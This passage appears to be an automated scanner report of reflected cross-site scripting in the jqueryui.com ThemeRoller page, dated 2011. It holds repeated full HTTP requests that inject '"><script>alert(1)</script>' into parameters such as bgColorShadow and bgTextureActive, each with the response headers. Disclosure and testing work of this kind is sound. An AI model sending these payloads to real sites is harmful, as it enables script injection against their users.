GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=0000008f2b5"><script>alert(1)</script>576b6389ccd&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:24 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the bgColorShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ded7"><script>alert(1)</script>e2d451684 was submitted in the bgColorShadow parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD4ded7"><script>alert(1)</script>e2d451684&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:26 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120316
The value of the bgImgOpacityActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 11a4e"><script>alert(1)</script>52f07625338 was submitted in the bgImgOpacityActive parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=10011a4e"><script>alert(1)</script>52f07625338&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:09 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the bgImgOpacityContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 995ba"><script>alert(1)</script>4c057cb328e was submitted in the bgImgOpacityContent parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100995ba"><script>alert(1)</script>4c057cb328e&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:47 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
The value of the bgImgOpacityDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ebc5"><script>alert(1)</script>eac71f79849 was submitted in the bgImgOpacityDefault parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=502ebc5"><script>alert(1)</script>eac71f79849&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:59 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the bgImgOpacityError request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f7d26"><script>alert(1)</script>9819ffd82a was submitted in the bgImgOpacityError parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100f7d26"><script>alert(1)</script>9819ffd82a&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:21 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120319
The value of the bgImgOpacityHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0704"><script>alert(1)</script>a3a7395d188 was submitted in the bgImgOpacityHeader parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20f0704"><script>alert(1)</script>a3a7395d188&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:37 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
The value of the bgImgOpacityHighlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3af5a"><script>alert(1)</script>8c485dccd0a was submitted in the bgImgOpacityHighlight parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=203af5a"><script>alert(1)</script>8c485dccd0a&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:15 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the bgImgOpacityHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c33d8"><script>alert(1)</script>f1bc2116d7 was submitted in the bgImgOpacityHover parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50c33d8"><script>alert(1)</script>f1bc2116d7&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:03 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120319
The value of the bgImgOpacityOverlay request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34b50"><script>alert(1)</script>5a9fde23895 was submitted in the bgImgOpacityOverlay parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=034b50"><script>alert(1)</script>5a9fde23895&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:25 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
The value of the bgImgOpacityShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 862b5"><script>alert(1)</script>264ef754561 was submitted in the bgImgOpacityShadow parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100862b5"><script>alert(1)</script>264ef754561&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:27 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the bgTextureActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 40148"><script>alert(1)</script>b76740fa911 was submitted in the bgTextureActive parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png40148"><script>alert(1)</script>b76740fa911&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:08 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120256
The value of the bgTextureContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a15e"><script>alert(1)</script>81a0d838539 was submitted in the bgTextureContent parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
